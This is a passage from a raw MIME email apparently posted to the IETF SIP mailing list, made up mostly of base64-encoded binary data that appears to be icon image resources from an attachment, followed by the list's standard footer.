AAB+XTAAcU0cAM7NywB2WjMAkHZTAJR8WgCuk3EAOTEnAIpuSQBdMwAAXzcAAK2elQD6//8A 9PT2AIB2aACDYDIAc08eAOHj6gCmmIgAkXZSAJmBYQCdhmcAtp99ADoyKgCIbEcAiHRbALWs owDFvLMA4dnTAPz9/wDu7/EAXTwNAK6chADk5OUAxsbKAJJzSwCgiWsAo45yAMCoiwA8Ni8A jG9MAGU/CwBePhEASzEJACcRAAAsGQAAOCIEAF1JMADi398A6OntAJJ+YgCpk3kArJiAAMaz mAA+ODEAk3pVAHVRJACAYTkAhmc+AG9OIgCYi3oA7+7uAOzr6gDt7O0AtqyhAK2YfgCzoYoA 0LuhAD86NAC1sK8Ab0kSAIdpRACXgmUAr6CMAPD09wD5+v8A8O7uAPDw8ADx8PAA1dXWALSe gwC7rZgA2M/JAE5LRACmm40AqaGcAJSCagC2qpwA1crAAODa1ADk5OEA/fz+AKGSfQDFtaIA xbWgALm2tgCUgGcAvLvAALWxsABwY1AARTwsADQvJQAsJRsAKyQZADUvIwBKQjoAc25oAKCb mQDBubEAyr2tAOjcywBLSUQAlH9iAJiOhAC4tbQAvrq8ALuxqgCnm4kAoo92AJ2LdACLf24A dGtdAGNZTwBJRTkAOjcyAOPVwwDn28oANzMwAKeWfwBjTTIAmJCLAMTAvgCzrqwAwL/CAMXA vgDOxb8A2dDFAOLZzQDu5NgA8uzkAOrm4QD5+fgAs6KLAIx7YgBiVEAAamFWALy3tgC7trUA tbGtALq3tADDwL8AzsvKANvb2gDm5ecA9/f3APn5+gD6+/sAy7umAMSskAC0o40AjoJyAFpQ QgCUjIYA0MrGANjT0QDRy8kA0MzJANjV1ADh4N8A7erqAPTy8gD5+vkAa19QABsaGAAqJiMA KScjACUjHwAVFBIAAAAAACcnJABYVlQAh4WEALCtrADTz84A6OblAPX09ADCwcEAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAADg4eLj5OXm5+jp6uvs7XHu0dLT1NXW19jZ2tvc3d7fMsLDxMXGx8jJysvMzYLO z9C0tba3uKa5uru8vb6/wMEypKWmp6ipqqusra6vsLGys5SVlpeYmZqbnJ2en6ChoqOIiYqL jI2OjzIyMjKQkZKTeXp7fH1+f4CBgnGDhIWGh2tsbW4ob3AycXJzdHV2d3hcXV5fYGFiYzJk ZWZnaGlqTE1OT1BRUlNUVVZXWFlaWzw9Pj9AQUJDREVGR0hJSkstLi8wMTIzNDU2Ny04OTo7 HR4fICEiIyQlJicoKSorLA4PEBAREhMUFRYXGBkaGxwAAQIDBAUDAwYHCAkKCwwNAAD//wAA //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP// AAD//ygAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACA AAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A AAAACACAAAAAAIh3f/93eHYEBAAAAACGh/f3///3//+HeHiIhIB3d3d3f3f3////eIhohIB3 d4d3d/d//////4dogICHeHh3d3d3/3////+IiEhHd4d3d3d39/f/////iGgId4d4d3d3d/f/ /////4iAd3d4d3d4d3d3d3d3//+GR3eHh3h4h3h4iICA93eEiIh4d3hoSIgICAhIB3d/YIZ3 d4gIgogAgIBAgId3d4CHh4iEhAQASAgId3/4d3eAh3iEaIh4d3//////h4d4R4h0d3d/9/// /3/3/2d3h3+HYIiHf3//f/////d4eHdwh0hkgIR/9////3/4h4d3QIgGCGhoiH//9//3+Idn h4BoSEhISEJC//9/f3iIh2eAiAaAYIBgBAf/9/+IiHh3QEhAQEBABAgG/393hohoeICGBkiI h3/3SE9/d4iIiGhgSIh/f//3+Ahn93hoaIiHgIYEZH93/3SGCHf4iIhoiECEgEJI/39whIR3 dIaEiGiAhgYIQI//gGCEj4aIiISIgIQEBCQI9wSGhoeEhIaIiECGQkJEJPdCSECHSChIiEiA SARAYEB4BAQkiGSEhkhoAIhCBgYGeEJCQoYIaICIhoBGBEQEQGQEQEQEQEZGRkgAh4aIhoiG iGiGiGiIiIiHYHiIh4h4h4h4h4h4eHh4d4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAgAAAA QAAAAAEACAAAAAAAgAQAAAAAAAAAAAAAAAAAAAAAAAASDgoAEQ4KABMQDAAVEQ0AFxMNABgT DgAaFQ4AHRcQAB4ZEgAfGxMAIh0VACMfGQAlIRsAJiMeACckIAApJiEALSklADAsKAA0MCoA NjErADczLAA5NC4AOzYvAD03LwA+OC8APzgvAEA5LwBBOjAAQjoxAEM7MQBEPDEARTwxAEU7 LwBGOisARjgnAEc2IgBHMxwARzEYAEkwEwBKLg4ATS0KAE4rBgBPKgMATykCAFIrAQBULQEA VzABAFgxAQBZMgMAWjQEAFs1BgBcNgcAXTcIAF45CgBfOwwAYDwNAGE9DgBiPhAAYz8RAGM/ EQBjQBIAZEATAGRBFABlQhYAZkMXAGZEGABmRBkAZkQZAGVEGwBmRRwAZkYeAGRGIABhRSIA XUUmAFpFKQBWRS4AVUUwAFRGMgBSRjQAUUY1AFBGOABPRzsAUUk8AFNLPgBUTEEAVE1BAFdP QwBaUUQAXVNGAF9VSQBiWEwAZVxPAGlfUgBrX1AAbF9OAG5eSwBuXEYAb1pAAP///wBwVjUA cFQwAHBRKgBxUioAclIqAHNTKwB0VSwAdVYtAHdXLwB5WTEAelozAHpcNAB7XTYAfF43AH1f OAB+YDoAf2E8AIBjPwCCZkIAg2dDAIRoRACGaUUAiGxHAIltSQCIbUsAh25OAIZvUgCDb1UA gnBYAIFwWwCBcV4Ag3JeAId0WwCLdVgAjndZAI95XACRel0AknteAJJ9YgCSf2YAk4BnAJWB ZwCYgmYAm4NlAJyEZwCdhmsAnoluAJ+KcACgi3EAoYxzAKCOdgCgkHsAn5B9AKOSfQCmlHwA qZZ8AKqXfwCrmH8Aq5iAAK2ZgQCum4MAsJyEALGehgAAAAAAsp+IALOgiQCzoYoAtKKLALSj jQC0o44AtKSQALOkkgCxpJQAsKSWAK6kmQCtpJwAq6SfAKukoQCrpaIArKajAK2npQCuqaYA r6qnALGrpwCzrKYAtKykALesoAC6rZ0Au66cAL2vnAC/sJwAwbGcAMGzoQDBtaQAwbWnAL20 qgC6s6wAuLOuALezsQC3s7IAuLS0ALm1tgC6t7cAu7i3AL25uAC+urgAwLu4AMS+uADIwLYA y8G3AMzDuQDNxbsAzsa+AM/IwQDPycQAzsrHAM7MygDPzcwA0c/OANLR0ADV0tEA1tTSANjV 0gDY19cA29nZAN3b2gDf3dwA4d7dAOHe3gDh398A4eDhAOLh4wDj4uMA5OPjAObk5QDn5uYA 6efoAOvp6QDs6uoA7ezsAO7t7QDv7u4A8O/vAPHw7wDx8fAA8vLxAPLy8gDz8/MA8/P0APT1 9gD29/gA+Pj5APn5+gD6+/sA/Pz8AP39/QD9/f0AFgMNDQ4NDQ0MCwkIBgMBAQEIDRRcl7TV 2e/v9NnpxoG+gRAWFhQUERAPDAkBAVaBl9bi4eHj5Ofr7PL4/f7+/qu/pqemnZWKgVxSWa7D 1tPTzc7T19rf5Ont8fb5+fz8o6iRkIqBXFlPH7DLyMS3xMjNztXY3N/k6u7z9vr8/P2foYmG f11TUILIxLW1t8TFys3R1dne4eXs7/P3+Pv8/ZmYg39eTVy3x7SztrfDxcnNztPX3N/n6u3z 9vj6+/38lJN2X0uXzbWztLS2t8TIzdXX2drc3+Tq7/n+/v7+/vyRjGBLsMeysbO0tcTIysW4 vLy+wNDR0NLS0NLU4vT+/o2KSq+3sbCztsTDuKigpqapqqell4qBWx4e3dDQ3VpWiX6LxrGx tsqslX5/gH9cWldRFRgdH1FSHq7R0NHdgRCFhsayssiXW1BUVFRRUVEfHh4eGRUYHR9U0MHP z92BFoSttLPJg2FfYFYeGRQTGR9RWVyKr9Pk/vulwMHB1FtXhMa0tWVneIWUoL6ut8zY5/7+ /v7+/vv+l728v8G6FtaFxsZGsszM19rf5e3x+Pv5+fb39Pbw7vmQu7q8vb3F25HJa2h1fZa5 2efo5+bs7vLw9fXv7+7z1aGkqaq80dMLl61BbnBwbWxodM7r+O7u8PPx8vDt6veXnKSju8nQ XAaEh0ZrbnFzdXh4cHjS/v3y8O3t7ero65Wanp+npb6BCnV7RmVmZGtsY2NjSyYj3P707Ovp 5OrGj5mZm56hvlwKdHlARkgkJCUlIyMjIyQH2vvq6ePg7JePlJWamp68XAlwdzk/QUZFQicJ KSckViNw+Ovi4OHXho6Rk5SZmaZcCXB1P2Zoa3iGnMLW6P7RJXNu/t/c3sZ6jY6QkZOVpl4J boR+m8nm5eXq7e7u/l9IdmfA5dncl3uJiI2PkJKeWwhxdDA3Om7K8ODi6OvpJ2txbXfl1tp4 fIWIiY2OkJpaB3F1Mzg2MCuI+unk8MQrbWxtZcLZzGl7fYSFh4iNlFgHcXU0OUU8OStu+Of4 fidqaWxlld+BcXh6fH2EhYiTVwZydTQ6OTo6OiuQ+OAnPWVlaGWI52VydHV4e32EhY9VCnB1 NDo6Ojo6NDn7wytBRUZlQoXFZ25ydHZ4enx9jlMGcHQzOTo6Ojo5K9eRLj5BRUZBhpBla25w c3R2eHuITQVwdDM5Ojo6OjosuWY0Ojg/QD90cEZoaWxucXN1d4RMBWtsKy8uLi4uLi1vLi4u Li4uMjMyOD9BRUZlZWhrdCMChKGIjo6Ojo6OjoiNjo6Ojo6NjpCQkZKUlJiZmpuoegG7qpmb m52dnZ2dnZ2dnZ2dnZ2cm52eoKGjo6anqbupbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAQA EBAQAAEABAAoAQAAAQAQEAAAAQAIAGgFAAACACAgEAABAAQA6AIAAAMAICAAAAEACACoCAAA BACFdxwtIWNRt6NsXRlmK7mPMJquEKQDDjQDc0iIC6p6AngtDqBjTQuZxo8guiUbdBS6rict VMVXgyeTIFpBwwAgvTfGjlxSQkkTUoe9aD88h6ZFvUQOHUGPEStiVUmqd3gkCJUTKzG6FVgA OE67ihxxugaIDD8MAYkwiQwGkA6YCz1PE3QlsCdyQr18UncEOXeVQqZfwIFNADCzwoONDQG+ qaCFLAp+F24WnJcaWrQOOzsxkxgPGgY9hYWQf04SxFSkN8dqnB4+ ----------vzqxfzzciunxhssiwwxq Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip ----------vzqxfzzciunxhssiwwxq--